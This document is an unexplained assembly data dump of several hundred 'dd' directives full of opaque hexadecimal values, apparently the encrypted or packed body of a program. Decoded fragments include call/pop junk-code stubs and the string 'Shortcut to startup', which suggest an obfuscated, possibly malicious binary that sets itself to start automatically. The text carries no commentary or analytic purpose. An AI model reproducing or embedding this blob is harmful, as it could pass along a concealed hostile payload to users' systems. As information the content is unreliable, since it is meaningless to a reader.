		dd 34307007h, 6233D777h, 3433BE53h, 0F76D9DDDh,	104734B0h
		dd 10773C73h, 3433A1BFh, 0F765FBDDh, 0A8B9141Fh, 0BB31DACFh
		dd 13330374h, 89BABFDDh, 327BAEEFh, 45B138FAh, 5D82BBF0h
		dd 63FB37BDh, 556B7E65h, 89326D88h, 327BBB7Eh, 0B03C7D58h
		dd 3433BCE6h, 0DC66BD1Dh, 3433BDB8h, 69F0E0FDh,	3017D167h
		dd 3017F9F6h, 3433BDA0h, 0FF0E898h, 806DB64h, 3B259281h
		dd 3433B535h, 36B6B2DDh, 6533BDEEh, 630B3C28h, 3BC83CDDh
		dd 34338358h, 0B555EAEEh, 6E7EDEBDh, 304B3CDDh,	0B03CBFDFh
		dd 3433BEAAh, 0DC61BD1Dh, 3433BDB8h, 6EF0E7FDh,	3017E967h
		dd 3017F9F6h, 3433BDACh, 0AAF0EF9Fh, 17FA6EE0h,	7C21A0EAh
		dd 0B58E36BDh, 5235F5C8h, 54AF856Fh, 34B13878h,	3B53BDBBh
		dd 55CA6A6Ah, 0DC31C56Eh, 34413878h, 3459BDBBh,	3430558Ah
		dd 6B13BDEEh, 48BAE2B4h, 70B2B99Fh, 342BB9F9h, 6374BDEEh
		dd 3F3F4EB4h, 0B9B83691h, 327B8C20h, 0AEA95A6Fh, 0B555F8C1h
		dd 9F33BBC3h, 340938D2h, 3459BDEEh, 34305525h, 6E13BDBBh
		dd 60BAE71Eh, 70B2B9CAh, 342EB953h, 6671BDBBh, 0E2A0F81Eh
		dd 2C723A97h, 52424F23h, 0BF4FEF00h, 7C108448h,	36A154E8h
		dd 0E6B2BD77h, 5576CA44h, 3532BD63h, 4DA634A8h,	0B935F545h
		dd 7F423F3Eh, 0BD8E94DBh, 0CB35F5CDh, 6533D7A7h, 3433BE53h
		dd 0F76A9DDDh, 107F34B7h, 10773C73h, 3433A0BFh,	0F762FCDDh
		dd 1AE14A79h, 0BF6DCA1Dh, 0A13AF046h, 327BB51Ch, 0B03C7D6Bh
		dd 3433BF5Dh, 0DC66BDD1h, 3433BDDEh, 69F0E0CEh,	3017D1FEh
		dd 3017F93Ah, 3433BDC8h, 9AF0E8ABh, 38DBDDA7h, 7B33BDBBh
		dd 0DCB1B588h, 59D7DC81h, 0BD5349BFh, 7C31402Eh, 0B552E5DBh
		dd 360EDBD6h, 0AB6B275h, 0BF33BDBBh, 7C39A440h,	324B3CE8h
		dd 4E6C8011h, 35D939B4h, 3459BDDDh, 343055BEh, 6C13BD77h
		dd 70BAE578h, 70B2B9F9h, 342EB9CAh, 6473BD77h, 0D95DAA78h
		dd 73D293B6h, 1F9A8E3Eh, 7C0370EAh, 0CB2DBBDh, 0B13CDD41h
		dd 3433BD69h, 0DC61BD1Dh, 3433BDB8h, 6EF0E7FDh,	3017E967h
		dd 3017F9F6h, 3433BDA2h, 0F7F0EF9Fh, 314AC97Eh,	32BAB244h
		dd 1D33BDBBh, 7C3E2460h, 364B3DE8h, 64B6B29Fh, 5433BDBBh
		dd 6917C264h, 0DD8634E3h, 5535F563h, 0B5554C31h, 0F433BBA5h
		dd 340638E1h, 3459BD77h, 343055EEh, 6913BDDDh, 58BAE02Dh
		dd 70B2B953h, 3429B99Fh, 6176BDDDh, 7A8CCB2Dh, 2F94F20Eh
		dd 29B694EAh, 6B35F5CFh, 34328E07h, 75AE3677h, 8A35F5ACh
		dd 4A32BCDDh, 1BEA0067h, 0B1BEBB3Fh, 3278CC39h,	3E6E0054h
		dd 0E4CCBBA6h, 0B1EA0A78h, 0C7B7B27Bh, 733BDDDh, 7C186873h
		dd 0DC0B3D71h, 344038B4h, 38DBBDDDh, 2B33BDEEh,	774458C0h
		dd 0ACEB5692h, 71820FAh, 7C26307Bh, 4CB3E471h, 0B13CCEBEh
		dd 3433BD8Ch, 0DC64BD84h, 3433BD74h, 6BF0E29Bh,	3017C154h
		dd 3017F96Fh, 3433BD61h, 0E0F0EAFCh, 0B11A1063h, 327BB57Bh
		dd 6734C5F7h, 349939B4h, 3459BDDDh, 343055BDh, 6F13BD77h
		dd 68BAE678h, 70B2B9F9h, 3428B9CAh, 6770BD77h, 0B62A9C78h
		dd 6B47A3D2h, 0CB2DBFCh, 0B13CB8F8h, 3433BDDDh,	4CB36556h
		dd 0B13CD5E8h, 3433BD2Dh, 45F03CDDh, 4CB2DBF6h,	3B1642E5h
		dd 3433F4F2h, 0BF5541BBh, 3465540Bh, 3459BDEEh,	34305527h
		dd 6C13BDBBh, 70BAE51Eh, 70B2B9CAh, 342EB953h, 6473BDBBh
		dd 18B5131Eh, 0CDDE996Dh, 0DCFBA0EAh, 3433BDB2h, 8B970968h
		dd 0EE10C842h, 2FC03CC8h, 6B28F2A6h, 34333DD2h,	348BBDEEh
		dd 0B533BD77h, 0BB0D9F7Ah, 343D54D9h, 89B8BDEEh, 327BAEC6h
		dd 3433BC03h, 32F53DDDh, 646CEB7Eh, 5EA35CC4h, 37DBECBBh
		dd 1433BDDDh, 0BD6A7EB7h, 0B537993Bh, 233799FFh, 7533BDDDh
		dd 0A2DE7EBFh, 89BEBC8Ch, 327E877Ch, 746A3050h,	178BBBA3h
		dd 3744DB22h, 7C38303Eh, 0F5FC96DBh, 32BCDD8Ah,	0EA00674Ah
		dd 0BEBB3F1Bh, 78CC39B1h, 6E005432h, 0CCBBA63Eh, 0E98378E4h
		dd 58A4F305h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Bh,	51C35040h, 0B6EAFEC2h, 8B8486D6h, 4828F59Dh, 6E906h
		dd 0D6700000h, 11369C88h, 840FC00Bh, 5Eh, 318D8D29h, 0B58D0648h
		dd 6484E80h, 374DE281h,	85294C26h, 64827ADh, 3B8h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 8843089Ch, 0FF22B143h, 50006AE6h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 6A4093D9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 8BA1C357h, 4814E19Dh, 9D8D8B06h, 8B06480Ah
		dd 52006AC0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 20A19832h, 1CB91509h, 880FEB46h,	6, 2B358D8Bh
		dd 0BD830648h, 6481299h, 83097500h, 480D35BDh, 19740006h
		dd 0C08B5350h, 403B8h, 0F9858900h, 8D06482Fh, 4AA4CB9Dh
		dd 5BD3FF06h, 35BD8358h, 6480Dh, 53501774h, 403B8h, 0F9858900h
		dd 8D06482Fh, 4AA16C9Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0DB234465h
		dd 677F5403h, 0B70F42A3h, 52006ADBh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0C772834h
		dd 7B6012EFh, 0EBA6635h, 0E8C08B48h, 0Ch, 4BA031D5h, 8424ECE7h
		dd 384AAA9Bh, 24C18166h, 0E8615FFFh, 11h, 63ACCD3Dh, 8350E0D8h
		dd 0A1A9E6E8h, 0B257F987h, 68D0F7Ah, 89000000h,	4817F19Dh
		dd 81F85B06h, 5B74C3h, 65B58900h, 0B806482Fh, 16B9h, 2E78C781h
		dd 33FF3F7Fh, 39BD8B53h, 5F064832h, 51B5895Ah, 8106480Fh
		dd 15F679F2h, 4BBF507Ch, 5903B775h, 5F5BC281h, 956082Dh
		dd 4811C995h, 0F2815F06h, 57FBCAA0h, 12899D89h,	8B520648h
		dd 4823ED8Dh, 8B038F06h, 481641B5h, 4EB8306h, 8D5BD89h
		dd 0E8830648h, 0A7850F01h, 66FFFFFFh, 0FB70E681h, 9C005220h
		dd 77B1229h, 60CA851Fh,	8AEBBE6Eh, 492B6F91h, 0E379A04h
		dd 1311385h, 24AEB980h,	82357A71h, 4903C39Dh, 853C3216h
		dd 1333243h, 0E960326Eh, 1333201h, 5AF06921h, 5176E09h
		dd 51776C1h, 1333238h, 29F06153h, 0E55E7A2Dh, 15028F8Fh
		dd 0E2DA344Ah, 6B333200h, 2DB6180h, 21333240h, 8868F17Bh
		dd 8037164Ch, 1937164Ch, 42333204h, 7E46F151h, 912B889Fh
		dd 51E5B9E6h, 0FAB85420h, 159A241h, 130DA45h, 5C133208h
		dd 6DBA6FC7h, 45B23626h, 1273625h, 54763280h, 0FAB80283h
		dd 257F332Fh, 533358EEh, 13331E0h, 0C2691204h, 2567BB58h
		dd 2577B305h, 1332884h,	0C2617040h, 7DA019E7h, 804B318Fh
		dd 3A50B4C6h, 0D6B25473h, 6B6B3EEBh, 2DB6401h, 21333280h
		dd 886DF11Eh, 80371654h, 14371654h, 47333208h, 53ADF152h
		dd 0C1B0CEB1h, 5333582Dh, 1333168h, 0C2691240h,	2567BB7Ah
		dd 2577B314h, 133260Ch,	0C2617004h, 0F0863BDBh,	0E357A2Eh
		dd 133340Fh, 0BC8E1140h, 8A357A31h, 13FDB18h, 0F6DC3208h
		dd 89F2B69Eh, 0A57E8E83h, 8A550377h, 0FDACEC8h,	1D333240h
		dd 2268C0A6h, 8C2507F0h, 0B8CDB1F6h, 38B25433h,	853CCD34h
		dd 1333286h, 82CAB9E6h,	0B63C3B81h, 0E80AB2F2h,	1E3B71Fh
		dd 8CBA3208h, 77B282Dh,	88327389h, 4927DB94h, 0FB3186h
		dd 491BDBFDh, 123DB26h,	56FC3210h, 4934AAB0h, 5086F97Bh
		dd 82E4D016h, 0C0B07D20h, 54335885h, 13331A8h, 0C26E1220h
		dd 255FBB4Dh, 2577B30Ch, 1332F00h, 0C2667702h, 8BDA444Dh
		dd 0FC5EF15Ch, 803CE90Fh, 133322Ch, 135B41Fh, 841A3208h
		dd 77B3CF9h, 4AA30B83h,	843CB942h, 13332DEh, 8C71C0C0h
		dd 497DB2ADh, 0BBFDB316h, 0B962531Fh, 1333207h,	2D268F89h
		dd 0FDB3449h, 34333280h, 4D0ED7E5h, 0B37D2474h,	35AD039Bh
		dd 3DC4B3ACh, 5E509A2Fh, 159D3FDh, 130DA52h, 5A133280h
		dd 5DBA6983h, 45B23604h, 1273634h, 52703208h, 9CBA58C7h
		dd 77B3CABh, 0C1AA78Ah,	6B5234C8h, 2DB6440h, 21333220h
		dd 886DF14Eh, 8037167Ch, 1C371640h, 47333202h, 3D9BF157h
		dd 1D69757Bh, 10ADB679h, 43888FADh, 8CBE345Dh, 77E7733h
		dd 93B046BCh, 0B4B60103h, 2A357A15h, 3DAF34Fh, 9C005220h
		dd 77B1229h, 60CA851Fh,	8AEBBE6Eh, 492B6F91h, 0E379A04h
		dd 0F305E983h, 89C08BA4h, 4812B98Dh, 0AE906h, 1F240000h
		dd 2792972Ah, 0FC68E2F7h, 8D8DC38Bh, 64D4632h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0ECC35747h, 8D896719h
		dd 6481405h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	64C35343h, 0B866524Ah, 85C7058Ah, 6483025h, 65CCh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0D7C35646h
		dd 0BAE3F8E7h, 85C7CD6Bh, 6482AD9h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 9BC35040h
		dd 33A11D8Ch, 0DC29D7BAh, 21B5FF69h, 0F8064812h, 0E7195FFh
		dd 9D8B0648h, 64822E1h,	95FF006Ah, 648092Dh, 3AEBC08Bh
		dd 8D8CABC4h, 61211D0Ch, 49258B26h, 21397359h, 6A9529A5h
		dd 0AD29B4Ch, 7EFEEE58h, 0DB73738h, 8CC25F64h, 7533DC1Ah
		dd 0C8478940h, 0A0B2C4Eh, 34455887h, 37FDE565h,	14E81962h
		dd 35000000h, 682DBFABh, 0EC594811h, 5116A136h,	963EDCF7h
		dd 0F990A6D6h, 0CE958h,	30520000h, 0E86448D6h, 0D3F28EB1h
		dd 0C081414Dh, 64C1h, 277D8D29h, 0BA0648h, 8B000000h, 8D09100Ch
		dd 6482F7Dh, 70B0C181h,	9D31622Ah, 648150Dh, 642DE981h
		dd 66603CDFh, 3766F081h, 6890Fh, 8D0F0000h, 0
		dd 3F18161h, 0E902B7A3h, 6, 1CC58E9Ah, 0C89CE92h, 5E910h
		dd 0AB950000h, 0FC6C35Fh, 0EA83DEB7h, 4A4AFC01h, 0F1BF0F4Ah
		dd 9C0CFA81h, 850FFFFFh, 1Eh, 6E8h, 8DF39700h, 963FDF9h
		dd 48162595h, 1DE95F06h, 68000000h, 0F8893B3Ch,	0BF0F9825h
		dd 0FF75E9FEh, 28BEFFFFh, 216343D1h, 93CE38AFh,	0DE717391h
		dd 0D4712ADEh, 0DC4B46D4h, 0C8557F01h, 98525CD4h, 0A90B3363h
		dd 982633A9h, 5E265AF1h, 0D029CAEFh, 0B44E6033h, 67A5E4FFh
		dd 0D00F9AF8h, 0F8A3BEA0h, 6720782Ch, 0A5A3BA79h, 1B207BC8h
		dd 0D0061ED7h, 1D293333h, 98263383h, 0DF71B6C0h, 157635EBh
		dd 0D5617AD6h, 0DD963AFh, 9E6E2FE9h, 98266483h,	15235935h
		dd 0D5616A1Fh, 1DAB634Bh, 9E6B74EFh, 3DB3CC03h,	93207B9Bh
		dd 0A1A23C14h, 1526336Ah, 0D5616AB0h, 0AACE639Ch, 0D826334Dh
		dd 0C7A3BEF6h, 0C8207E14h, 0DF7FB624h, 67763599h, 0D00E52FFh
		dd 94E2B033h, 0DF7FB617h, 15763500h, 0D5617A23h, 0DD96355h
		dd 9E6E2F94h, 9826513Dh, 74AD666Ah, 0CE746464h,	0AB2E4E11h
		dd 9824DA8Dh, 0DF6633A6h, 97260CD3h, 67D9C62Ch,	13EF002Bh
		dd 0B2CF3B17h, 0AB263335h, 1831B948h, 68AD03A7h, 5AAD63E8h
		dd 982C8800h, 9BCF33A9h, 6F2633D4h, 66A57D89h, 6CA13C35h
		dd 0C3D9CC65h, 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h, 0C6E7B856h
		dd 517F6C8Eh, 152637A8h, 0D5617488h, 0E4ABBE9Ch, 20207E05h
		dd 93h,	71E7FC78h, 0D0073102h, 4C783C8h, 0F2850F49h, 8DFFFFFFh
		dd 4D487CB5h, 9B8D8D06h, 2B064D48h, 5E983CFh, 8E8C88Bh
		dd 22000000h, 7D1A4F36h, 17CF474h, 4817B1BDh, 958B5B06h
		dd 6480819h, 5A23C381h,	0EE90000h, 6000000h, 0ABD3957h
		dd 16D1A519h, 0CE5C9941h, 688Fh, 8E0F0000h, 0
		dd 0F9B5315Fh, 8B064815h, 78BA3B34h, 81461452h,	186987C6h
		dd 0C681F549h, 1A02214Fh, 0E5EE81F5h, 8B071323h, 482EA58Dh
		dd 0B9665606h, 48F348Bh, 44F1813Bh, 902257Ch, 48062DB5h
		dd 4EF8306h, 2A898D8Bh,	0FF810648h, 0FFFFA670h,	0FFB5850Fh
		dd 840FFFFFh, 6, 1FD8D8Bh, 9D8D0648h, 6483345h,	39B8h
		dd 0F9858900h, 0E8064808h, 0
		dd 0D0558h, 3890000h, 39E9h, 0E6000000h, 0Dh dup(0E6000077h)
		dd 6CEBFF77h, 726F6853h, 74756374h, 206F7420h, 72617473h
		dd 707574h, 14h	dup(0)
		dd 771D2F83h, 1, 0F86E9h, 4B866800h, 0AFE9064Dh, 68FFFBFEh
		dd 64D4C79h, 0FBFEA5E9h, 4E7A68FFh, 9BE9064Dh, 68FFFBFEh
		dd 64D4EB9h, 0FBFE91E9h, 4F9F68FFh, 87E9064Dh, 68FFFBFEh
		dd 64D502Ah, 0FBFE7DE9h, 540368FFh, 73E9064Dh, 68FFFBFEh
		dd 64D5707h, 0FBFE69E9h, 581168FFh, 5FE9064Dh, 15FFFBFEh
		dd 903EB292h, 680C808h,	8E08409Ch, 0F593DF19h, 6D1850B4h
		dd 7BA1E000h, 0FD2D6977h, 0AD2D3FDh, 86425846h,	6DDAF2CAh
		dd 73D7358Ch, 77C70869h, 0C0871F11h, 759A7F33h,	0AE4F74D6h
		dd 4B759A7Fh, 0DC2794F1h, 0B854F519h, 9A0490DEh, 69B3FE06h
		dd 0C2D8C68Fh, 0A0AB4A06h, 5E40D8FCh, 2C38A56h,	8F5223E0h
		dd 463DB30Dh, 73D22395h, 0E5B48AD2h, 0F320D04h,	0D29B1606h
		dd 384ABDC9h, 31179Eh, 90DE0000h, 2A9D3165h, 8F52623Ch
		dd 0FD89C799h, 7215E265h, 0EDF073D2h, 0FF45E60Bh, 9DD0B2C3h
		dd 0D26E7728h, 16283073h, 38D84A74h, 0B9E09Eh, 81970000h
		dd 0D88B04A0h, 5348FB25h, 10BE3791h, 74004E8Ah,	1A8E762Ah
		dd 6CCE90DEh, 0E0246569h, 72B6ECEAh, 46485E7Ch,	9A8EF081h
		dd 0E94B1575h, 8A9E3EE1h, 396F759Ah, 7B25FDFDh,	0E2ECE125h
		dd 0B37278BCh, 7C0D488h, 8F52B383h, 55DC9C2Eh, 0E95E762Ah
		dd 891C07A8h, 0F59B338Dh, 886055ADh, 9419B06h, 7BDA028Fh
		dd 22530BFh, 44D49957h,	0F100000Dh, 7C1A56B6h, 0E2ECEC24h
		dd 6A7464A0h, 0D1FFF335h, 494474D0h, 1FCDCC2Ch,	91713553h
		dd 2EF6BFD9h, 0BA7E24A2h, 49FE9636h, 73D734A8h,	77EB2C4Dh
		dd 0F09ED20Ah, 8B4D52AAh, 7519FBC5h, 158D752Bh,	63CD9FDDh
		dd 9081B66Ah, 0F39D3165h, 891F56B6h, 526240DEh,	335BE58Fh
		dd 9FFE366Dh, 0C7CB36E9h, 4B034A08h, 0D2123B94h, 625C7C73h
		dd 38A4A6C0h, 0C50C9Eh,	772B0000h, 0DFC1D511h, 894508C8h
		dd 105E8E0Bh, 9A7B05ABh, 6AAEF475h, 0DA227866h,	734D03C5h
		dd 2F5ADB91h, 783D630Bh, 0D99C2EACh, 42028443h,	9EAF8F52h
		dd 0F1E50FCBh, 0CAE24C6Ah, 4E07C5C4h, 0B4E81392h, 7AB98820h
		dd 45C8BCEBh, 0CB792EA7h, 0CC891CA1h, 0C8C7397Dh, 35D13C9h
		dd 19F6C722h, 0E380AAAEh, 91C4A6A4h, 652B431Dh,	0EEE8E024h
		dd 9C79A3h, 0C022564h, 0C516F4Eh, 850E0000h, 1189175Bh
		dd 0B5FF99D1h, 20676169h, 0A3EEE8E0h, 3B447179h, 420EDEDBh
		dd 0C8804044h, 5D1DC7CEh, 21A96D33h, 9976F199h,	7C73D733h
		dd 0A77F83Dh, 7FCEAF18h, 912B759Ah, 7FAD4AFDh, 0F648759Ah
		dd 643AA414h, 770728A0h, 0FE7D511h, 96C40081h, 871D8134h
		dd 29770F43h, 733AB36Fh, 0E8801448h, 0DD72B19h,	27AEB3E3h
		dd 521EF87Eh, 0EB835D8Fh, 0D1E3DF1Ah, 9F030B7Ah, 0E94B155Bh
		dd 98752AE4h, 0DF73D2DEh, 723C1FFh, 0AD9E3868h,	18h, 8B45848h
		dd 0D1300000h, 14D38024h, 759A0987h, 37FDD862h,	42F3FACAh
		dd 63FB6590h, 9A7F17E4h, 6B68F275h, 759A7F8Ah, 0E5EB377Fh
		dd 298B55DBh, 0FDA3ED85h, 0A429B339h, 52549BE3h, 90F6988Fh
		dd 16F03068h, 2980658h,	0BF3688C6h, 673FBD0Fh, 2EAC7839h
		dd 10FF1E1Fh, 3ED8F4Ah,	9A5E444Ah, 16D2C8D6h, 3A78E358h
		dd 9D09E816h, 3AB54205h, 8E501496h, 0A04779C7h,	14B23EFAh
		dd 70044A8Eh, 48C77691h, 5C0B854Eh, 149693BFh, 0AF26805Ah
		dd 969324F6h, 1F114D14h, 0AB1C1288h, 149693CAh,	0E2A8683Fh
		dd 0D4F2FE58h, 9F440ACEh, 149693C7h, 7A0D2309h,	0EEE8E024h
		dd 0C0587CB8h, 0E6CFA061h, 4E755CBAh, 0EB69E8A1h, 3BF3FA44h
		dd 832B4F7Ah, 0A1ECDAC4h, 95C56711h, 2D7371BAh,	0AC3EBC68h
		dd 0C9374229h, 21EC711Eh, 68CA94EDh, 0FCC78344h, 9AEA17E9h
		dd 69E34C2Dh, 2DFDB9EBh, 0CD9F1DAFh, 2C8E565Fh,	2B11354h
		dd 9776C959h, 0BFCDF50Bh, 34FBF2F7h, 9975D609h,	3173784Bh
		dd 7556BBD4h, 0A002F9AFh, 80435B0Ch, 44E6CFB1h,	30646F16h
		dd 59A049Ch, 6268A8FFh,	0EEF0FE58h, 0F0D3EE7h, 0ED0C9FCh
		dd 6836CE66h, 0E0FAF030h, 7AFF12E3h, 6055F735h,	0ECEC287Eh
		dd 5F44BCE2h, 0A927E3B9h, 0AEBB517h, 42C7C89Ch,	50F7C674h
		dd 0D00000Ah, 88165A8Ah, 0FE98D010h, 666068B4h,	0EDEBE721h
		dd 457078ACh, 3D9D838h,	8545414Fh, 12CACBD5h, 0AE6A305Eh
		dd 75F29A22h, 73D731A4h, 77EF2041h, 6808D511h, 8C022748h
		dd 0A11EFCEh, 0C5CE0000h, 5149571Bh, 0F5BFD991h, 6027A129h
		dd 0E3AE28A0h, 7B04B139h, 82CE1E9Bh, 8408004h, 9DDD078Eh
		dd 6169ADF3h, 0D9B63159h, 3C73D731h, 0E981B87Dh, 9A7F917Eh
		dd 0E3EA7475h, 13E2A5FBh, 0BE1655AAh, 7B25492Bh, 0D3EDE327h
		dd 0FBA6249Ah, 2F749C1Dh, 7BC5E7D5h, 0B506D199h, 77B3E9B7h
		dd 984F6779h, 759ACAFBh, 62094C1Eh, 8846A057h, 893A269Ah
		dd 78EF872Fh, 759ACD9Bh, 0FEFC386Eh, 0D99C2EECh, 0DDC28443h
		dd 5DEF8F52h, 0ABF4C2E5h, 0DBE64D91h, 42580FA7h, 0E748A79Ch
		dd 636E1745h, 91FF973Fh, 3983C909h, 137EF3B4h, 19A34EEAh
		dd 0C50CDD75h, 68C33792h, 76D0148Ah, 0B1495F7Fh, 24E28F4h
		dd 0A9DD9372h, 0E9EF48DFh, 943A988Ch, 0E5E82451h, 595BA3F9h
		dd 13FDCF8Dh, 0D11808B2h, 238A40C5h, 92Bh, 7D7DAFE8h, 0C78B4F53h
		dd 4F03DFD9h, 0D69A5A41h, 5F13C9C8h, 0E4A54522h, 662EA820h
		dd 0EDA836BAh, 871DBB37h, 17BF0F43h, 0D730C350h, 925B2673h
		dd 0E7D51177h, 6860BCF9h, 9A7F46B7h, 0B6699475h, 2CEF8811h
		dd 6B03EDAAh, 44A16125h, 0D982D04h, 5329ACFCh, 69D49094h
		dd 9309978Fh, 0DE601E57h, 0C8A91EB6h, 2D73D7C4h, 5C42DA93h
		dd 0C0CE8246h, 32501EDAh, 4F279577h, 0D1844041h, 0B11CC8CDh
		dd 46AF307h, 0A0DC915Fh, 5D000008h, 0D8C68A5Ah,	4E4800C0h
		dd 0B6D09844h, 3D5B17D1h, 0B520A87Ch, 0B36928C8h, 3515913Fh
		dd 429A1B85h, 0DE1A800Eh, 25A2CA92h, 73D72F54h,	773FF0B1h
		dd 29C1D511h, 9A7FD1BEh, 23AA3475h, 44039B6Bh, 759A7FB7h
		dd 0D9C58852h, 0A1653BC3h, 0B937912Bh, 40516FBFh, 770D31E1h
		dd 2C6978A4h, 6E0FAF0h,	0A9584727h, 626BAC26h, 0EEE2267Ch
		dd 700AD9E5h, 5247398h,	90020000h, 2A9D3165h, 8F6926DAh
		dd 1FFC6B3Bh, 0FA73D736h, 1FEE8660h, 0B62EAB0Ch, 1CF4F9F1h
		dd 0C4E82C72h, 490CD8DAh, 0BCE6EE97h, 0E8E7493Eh, 0BC9CFA3Bh
		dd 42C6E082h, 356CE751h, 54000000h, 0DC914B4Ah,	3268901Bh
		dd 7F4C2D9Ah, 17A9759Ah, 1D55E259h, 222A9573h, 0A74C7E0Ch
		dd 11E6B817h, 0CE000000h, 6123C5C0h, 0CB9537A5h, 0B58B582h
		dd 6F000002h, 4CFB6590h, 759A7FAFh, 7E16F04Ah, 692517C9h
		dd 94368Fh, 361EFF68h, 61FB73D7h, 11CDB26Ch, 0DC73D736h
		dd 4F4D03D9h, 7ED19F5Bh, 6E7BE0DEh, 0A5D0D0EEh,	0B26ADDF1h
		dd 9389246Ch, 10F181C9h, 68F823C4h, 20A7CFD1h, 759AA453h
		dd 3DA114B6h, 0A422A87Ch, 0EBA927E5h, 0EFAA3D73h, 9313BD3Dh
		dd 72DC148Bh, 8A565E7Ch, 0E8C606C4h, 0D0B7575Fh, 0A6005A10h
		dd 0A4BE752Ah, 464F759Ah, 0EEB4D29Eh, 908FA42Ah, 2DCD3268h
		dd 0C9C9B969h, 706B3C78h, 89E5DCFh, 523C8ECCh, 0D733731Bh
		dd 12D46EBFh, 2BB9841Ch, 0E7D52D75h, 7EAF90C5h,	6658A466h
		dd 707DBAC4h, 3F81098h,	77270000h, 89CD20Ah, 7F26F770h
		dd 0CFD3759Ah, 0DA3B850Bh, 3E37BCE1h, 0E57A73E6h, 516FFDD8h
		dd 5E3FA840h, 5D759A83h, 9A830DEAh, 0D856E875h
		dd 424F4F06h, 0EF3ED69Ah, 0CC9C105Ah, 513EA974h, 0B4759A00h
		dd 9905482Ah, 1FFFCC18h, 6F744B97h, 9918AF81h, 7329F743h
		dd 0BDD1158Bh, 9A006D0Ah, 54368875h, 86008E66h,	34A145Ah
		dd 9A008842h, 704E8E75h, 4575B1D7h, 0CC825A5Bh,	9A00BB17h
		dd 0E3DDFB75h, 0D79B4144h, 9A1C3710h, 5E8A0A75h, 3BEC4E10h
		dd 9870B60Eh, 0A37F3967h, 83DA932Dh, 0FFFFFF27h, 0D51177B2h
		dd 61A5FBE5h, 7FDAB46Bh, 7CDC759Ah, 3BFFA542h, 766829B7h
		dd 9A7F20F1h, 997BC575h, 3CAB43D3h, 759A7F5Fh, 0F8AD20BAh
		dd 450FDEB2h, 51F3CD0Dh, 48036855h, 8A56503Eh, 6CECC3h
		dd 908B0000h, 59D3165h,	7F1DFA6Dh, 66F8759Ah, 25E6B66Fh
		dd 7F218F69h, 0E9E5E828h, 0F0FE2E6Bh, 947430EEh, 0B43A8426h
		dd 0D7362FCFh, 36085073h, 3DF66A94h, 2EC09Eh, 59A80000h
		dd 0D273DABDh, 1126AF79h, 9A6511AEh, 156DD875h,	38FFFFFEh
		dd 1958h, 983000h, 9A7FB647h, 0CA895375h, 759A7F2Dh, 0F67F76C8h
		dd 2A958h, 11776F00h, 0D5DFC1D5h, 0C8A4409h, 971E5296h
		dd 54ACF46Ch, 634D2D09h, 6E0F429h, 868DF96Eh, 0E2608F52h
		dd 566866A2h, 4C01C6F4h, 0B73D286h, 235FEDC3h, 489E383Ch
		dd 0CE874146h, 46F7h, 6590BE00h, 3C2A9D31h, 998F5262h
		dd 72BD5A0Dh, 4E4873D2h, 63421C92h, 0F6A8B556h,	91DFB9DCh
		dd 0D26D712Ah, 18163673h, 38DB788Ah, 0CC7B139Eh, 73D2612Fh
		dd 4F0DDFDAh, 7F2DBF7Dh, 0D9E3E935h, 0D93D94h, 77F80000h
		dd 0F9E7D511h, 966E6CB8h, 2F988E08h, 759A7F4Eh,	3EB711ABh
		dd 80CE0A90h, 10589C02h, 4D971E80h, 7B715F08h, 1A80759Ah
		dd 0E81392DEh, 72DC0C88h, 0DAC1ED5Ah, 213C8F54h, 40A3246Dh
		dd 17BF19F1h, 0B490117Fh, 7C71ABD6h, 0C8C95752h, 0A20C5E1Ch
		dd 3BE1A02Eh, 6D48145Ah, 0FFFE7C04h, 4C7h, 99D13374h, 636FABFFh
		dd 0EBE72365h, 727EB6EDh, 0FBF75554h, 4041A1CEh, 0CACAD484h
		dd 7134521Eh, 0E3B927ABh, 7B13AB27h, 0D72B2FCCh, 66AFCA73h
		dd 0BAD20A77h, 1AB6D06Bh, 8BC25F6Fh, 3EA941D1h,	759AE951h
		dd 37CB2AB4h, 0C637F90Fh, 0B5EBF3FAh, 816F0CBBh, 0DA25759Ah
		dd 7B741434h, 19FB45CBh, 8245DD75h, 759A05F5h, 68094E10h
		dd 8D759A05h, 0FE58980Fh, 813205F7h, 349951Fh, 7F27F473h
		dd 78C2759Ah, 0D1B7D79Eh, 921F8115h, 33BA044Ah,	475D7Bh
		dd 3ED403D0h, 0EA5D71CCh, 759A590Dh, 0E0F456E8h, 9BADEABEh
		dd 0B195595h, 49034A14h, 0FF4E68B9h, 0E0AD2D82h, 387A1BCCh
		dd 0CD9F759Ah, 0A2D6E188h, 3C515D0Ah, 52EC8F52h, 0DEB9881Ch
		dd 2ECE103Dh, 0D8BB6C61h, 8D73D238h, 242F5F51h,	0E7EB5C70h
		dd 5A891A3Ch, 0CF1DEC80h, 2B65E144h, 3AFBB538h,	0AB436B0Fh
		dd 7065BDE5h, 698771B7h, 0A6CE908Fh, 3EA9B9F8h,	73D79751h
		dd 5482AB4h, 0BB67216Fh, 97A97037h, 5D5873D7h, 51E2CB87h
		dd 0B5000000h, 9A7FFDAEh, 8FABD775h, 21E1B9E7h,	0ACD6F0ACh
		dd 0B78D5C70h, 6637B0D7h, 83759AB1h, 7C10DC39h,	2398561Fh
		dd 759A0952h, 1E7FB191h, 24FAE2CFh, 0C68F0DB0h,	4E02DED8h
		dd 77ADE8B6h, 606E6779h, 0AF1FF25h, 759A9C50h, 6DFA3410h
		dd 7BFCFC28h, 0BED60E77h, 363AF46Fh, 0CB6DC693h, 0C3DB0553h
		dd 7016F456h, 4F4D01B4h, 2935446h, 0E7759A85h, 3DFC745h
		dd 95092BA1h, 0D45118B4h, 0B5D6FAh, 3C790E20h, 7618E8E0h
